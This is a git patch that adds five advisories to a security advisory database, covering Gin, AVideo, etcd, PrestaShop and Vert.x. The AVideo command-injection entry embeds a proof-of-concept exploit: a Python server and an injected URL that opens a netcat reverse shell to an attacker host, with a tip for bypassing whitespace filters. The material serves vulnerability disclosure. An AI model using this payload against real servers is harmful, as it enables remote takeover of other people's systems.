From 3484f3b73bd635ea9ec809a07dc94bd58ad84710 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 12 May 2023 20:21:16 +0000 Subject: [PATCH] Publish Advisories GHSA-2c4m-59x9-fr2g GHSA-2mhh-27v7-3vcx GHSA-3p4g-rcw5-8298 GHSA-6mhc-hqr3-w466 GHSA-gvrq-cg5r-7chp --- .../GHSA-2c4m-59x9-fr2g.json | 62 +++++++++++++ .../GHSA-2mhh-27v7-3vcx.json | 65 +++++++++++++ .../GHSA-3p4g-rcw5-8298.json | 92 +++++++++++++++++++ .../GHSA-6mhc-hqr3-w466.json | 35 +++++-- .../GHSA-gvrq-cg5r-7chp.json | 84 +++++++++++++++++ 5 files changed, 332 insertions(+), 6 deletions(-) create mode 100644 advisories/github-reviewed/2023/05/GHSA-2c4m-59x9-fr2g/GHSA-2c4m-59x9-fr2g.json create mode 100644 advisories/github-reviewed/2023/05/GHSA-2mhh-27v7-3vcx/GHSA-2mhh-27v7-3vcx.json create mode 100644 advisories/github-reviewed/2023/05/GHSA-3p4g-rcw5-8298/GHSA-3p4g-rcw5-8298.json rename advisories/{unreviewed => github-reviewed}/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json (53%) create mode 100644 advisories/github-reviewed/2023/05/GHSA-gvrq-cg5r-7chp/GHSA-gvrq-cg5r-7chp.json diff --git a/advisories/github-reviewed/2023/05/GHSA-2c4m-59x9-fr2g/GHSA-2c4m-59x9-fr2g.json b/advisories/github-reviewed/2023/05/GHSA-2c4m-59x9-fr2g/GHSA-2c4m-59x9-fr2g.json new file mode 100644 index 00000000000..fdb679a3497 --- /dev/null +++ b/advisories/github-reviewed/2023/05/GHSA-2c4m-59x9-fr2g/GHSA-2c4m-59x9-fr2g.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2c4m-59x9-fr2g", + "modified": "2023-05-12T20:19:25Z", + "published": "2023-05-12T20:19:25Z", + "aliases": [ + "CVE-2023-29401" + ], + "summary": "Gin Web Framework does not properly sanitize filename parameter of Context.FileAttachment function", + "details": "The filename parameter of the Context.FileAttachment function is not properly sanitized. A maliciously crafted filename can cause the Content-Disposition header to be sent with an unexpected filename value or otherwise modify the Content-Disposition header. For example, a filename of \"setup.bat";x=.txt\" will be sent as a file named \"setup.bat\".\n\nIf the FileAttachment function is called with names provided by an untrusted source, this may permit an attacker to cause a file to be served with a name different than provided. Maliciously crafted attachment file name can modify the Content-Disposition header.", + "severity": [ + + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/gin-gonic/gin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.3.1-0.20190301021747-ccb9e902956d" + }, + { + "last_affected": "1.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gin-gonic/gin/issues/3555" + }, + { + "type": "WEB", + "url": "https://github.com/gin-gonic/gin/pull/3556" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gin-gonic/gin" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2023-1737" + } + ], + "database_specific": { + "cwe_ids": [ + + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2023-05-12T20:19:25Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2023/05/GHSA-2mhh-27v7-3vcx/GHSA-2mhh-27v7-3vcx.json b/advisories/github-reviewed/2023/05/GHSA-2mhh-27v7-3vcx/GHSA-2mhh-27v7-3vcx.json new file mode 100644 index 00000000000..5f993a84825 --- /dev/null +++ b/advisories/github-reviewed/2023/05/GHSA-2mhh-27v7-3vcx/GHSA-2mhh-27v7-3vcx.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2mhh-27v7-3vcx", + "modified": "2023-05-12T20:20:39Z", + "published": "2023-05-12T20:20:39Z", + "aliases": [ + "CVE-2023-32073" + ], + "summary": "WWBN AVideo command injection vulnerability", + "details": "# WWBN AVideo Authenticated RCE \n\nA command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for [CVE-2023-30854](https://cve.report/CVE-2023-30854) which affects WWBN Avideo up to version 12.3\n\n## Vulnerable Code\n\n/plugin/CloneSite/cloneClient.json.php\n\n```php\n$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));\n$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));\n$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));\n\n// get dump file\n$cmd = \"wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}\";\n$log->add(\"Clone (2 of {$totalSteps}): Geting MySQL Dump file\");\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nThe `$objClone->cloneSiteURL` is not properly sanitized.\n## Exploit Proof-of-Concept\n\navidexploit.py\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nhostName = \"localhost\"\nserverPort = 8080\n\nclass MyServer(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(\"{\\\"error\\\":false,\\\"msg\\\":\\\"\\\",\\\"url\\\":\\\"https:\\/\\/attacker.com/\\/\\\",\\\"key\\\":\\\"2d6db3c09e41a9c27dbc72aecc4a6fc0\\\",\\\"useRsync\\\":1,\\\"videosDir\\\":\\\"\\/var\\/www\\/html\\/demo.avideo.com\\/videos\\/\\\",\\\"sqlFile\\\":\\\"Clone_mysqlDump_644ab263e62d6.sql\\\",\\\"videoFiles\\\":[],\\\"photoFiles\\\":[]}\", \"utf-8\"))\n\nif __name__ == \"__main__\": \n webServer = HTTPServer((hostName, serverPort), MyServer)\n print(\"Server started http://%s:%s\" % (hostName, serverPort))\n\n try:\n webServer.serve_forever()\n except KeyboardInterrupt:\n pass\n\n webServer.server_close()\n print(\"Server stopped.\")\n```\n\nRun in command line\n```bash\n$ python3 avidexploit.py &\n$ ngrok tcp 8080 # optional if not running in VPS\n```\n- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection\n```bash\nhttp://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#\n```\n\n**It is important to not use white spaces for the exploit to work. Replace whitespace with `$IFS` when adding arguments to your RCE**\n\n\n![poc](https://i.ibb.co/bdpQYcK/2023-05-07-17-04-43-online-video-cutter-com.gif)\n\n## Credits\n\n- JM Sanchez\n- [https://www.linkedin.com/in/juanmarcosanchez/](https://www.linkedin.com/in/juanmarcosanchez/)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "wwbn/avideo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "12.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2mhh-27v7-3vcx" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32073" + }, + { + "type": "WEB", + "url": "https://github.com/WWBN/AVideo/commit/1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/WWBN/AVideo" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-77" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2023-05-12T20:20:39Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2023/05/GHSA-3p4g-rcw5-8298/GHSA-3p4g-rcw5-8298.json b/advisories/github-reviewed/2023/05/GHSA-3p4g-rcw5-8298/GHSA-3p4g-rcw5-8298.json new file mode 100644 index 00000000000..3b97702e64e --- /dev/null +++ b/advisories/github-reviewed/2023/05/GHSA-3p4g-rcw5-8298/GHSA-3p4g-rcw5-8298.json @@ -0,0 +1,92 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3p4g-rcw5-8298", + "modified": "2023-05-12T20:19:50Z", + "published": "2023-05-12T20:19:50Z", + "aliases": [ + "CVE-2023-32082" + ], + "summary": "etcd Key name can be accessed via LeaseTimeToLive API", + "details": "### Impact\nLeaseTimeToLive API allows access to key names (not value) associated to a lease when `Keys` parameter is true, even a user doesn't have read permission to the keys. The impact is limited to a cluster which enables auth (RBAC).\n\n### Patches\n< v3.4.26 and < v3.5.9 are affected.\n\n### Workarounds\nNo.\n\n### Reporter\nYoni Rozenshein", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/etcd-io/etcd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.4.26" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/etcd-io/etcd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.5.0" + }, + { + "fixed": "3.5.9" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-3p4g-rcw5-8298" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32082" + }, + { + "type": "WEB", + "url": "https://github.com/etcd-io/etcd/pull/15656" + }, + { + "type": "PACKAGE", + "url": "https://github.com/etcd-io/etcd" + }, + { + "type": "WEB", + "url": "https://github.com/etcd-io/etcd/blob/main/CHANGELOG/CHANGELOG-3.4.md" + }, + { + "type": "WEB", + "url": "https://github.com/etcd-io/etcd/blob/main/CHANGELOG/CHANGELOG-3.5.md" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2023-05-12T20:19:50Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json b/advisories/github-reviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json similarity index 53% rename from advisories/unreviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json rename to advisories/github-reviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json index 23d69069893..3220d7482c9 100644 --- a/advisories/unreviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json +++ b/advisories/github-reviewed/2023/05/GHSA-6mhc-hqr3-w466/GHSA-6mhc-hqr3-w466.json @@ -1,23 +1,46 @@ { "schema_version": "1.4.0", "id": "GHSA-6mhc-hqr3-w466", - "modified": "2023-05-12T00:30:18Z", + "modified": "2023-05-12T20:19:08Z", "published": "2023-05-12T00:30:18Z", "aliases": [ "CVE-2023-31508" ], + "summary": "PrestaShop Cross-site Scripting vulnerability", "details": "A cross-site scripting (XSS) vulnerability in PrestaShop v1.7.7.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the message parameter in /contactform/contactform.php.", "severity": [ ], "affected": [ - + { + "package": { + "ecosystem": "Packagist", + "name": "prestashop/prestashop" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.7.7.4" + } + ] + } + ] + } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31508" }, + { + "type": "PACKAGE", + "url": "https://github.com/PrestaShop/PrestaShop" + }, { "type": "WEB", "url": "https://github.com/mustgundogdu/Research/blob/main/PrestaShop/ReflectedXSS_1.7.7.4.md" @@ -25,11 +48,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-79" ], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2023-05-12T20:19:08Z", "nvd_published_at": null } } \ No newline at end of file diff --git a/advisories/github-reviewed/2023/05/GHSA-gvrq-cg5r-7chp/GHSA-gvrq-cg5r-7chp.json b/advisories/github-reviewed/2023/05/GHSA-gvrq-cg5r-7chp/GHSA-gvrq-cg5r-7chp.json new file mode 100644 index 00000000000..17494f4b075 --- /dev/null +++ b/advisories/github-reviewed/2023/05/GHSA-gvrq-cg5r-7chp/GHSA-gvrq-cg5r-7chp.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-gvrq-cg5r-7chp", + "modified": "2023-05-12T20:20:19Z", + "published": "2023-05-12T20:20:19Z", + "aliases": [ + "CVE-2023-32081" + ], + "summary": "Vert.x STOMP server process client frames that would not send initially a connect frame", + "details": "### Impact\nA Vert.x STOMP server processes client STOMP frames without checking that the client send an initial CONNECT frame replied with a successful CONNECTED frame. The client can subscribe to a destination or publish message without prior authentication. Any Vert.x STOMP server configured with an authentication handler is impacted.\n\n### Patches\nThe issue is patched in Vert.x 4.4.2 and Vert.x 3.9.16\n\n### Workarounds\nNo trivial workaround.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.vertx:vertx-stomp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.1.0" + }, + { + "fixed": "3.9.16" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.vertx:vertx-stomp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0" + }, + { + "fixed": "4.4.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vert-x3/vertx-stomp/security/advisories/GHSA-gvrq-cg5r-7chp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32081" + }, + { + "type": "WEB", + "url": "https://github.com/vert-x3/vertx-stomp/commit/0de4bc5a44ddb57e74d92c445f16456fa03f265b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vert-x3/vertx-stomp" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2023-05-12T20:20:19Z", + "nvd_published_at": null + } +} \ No newline at end of file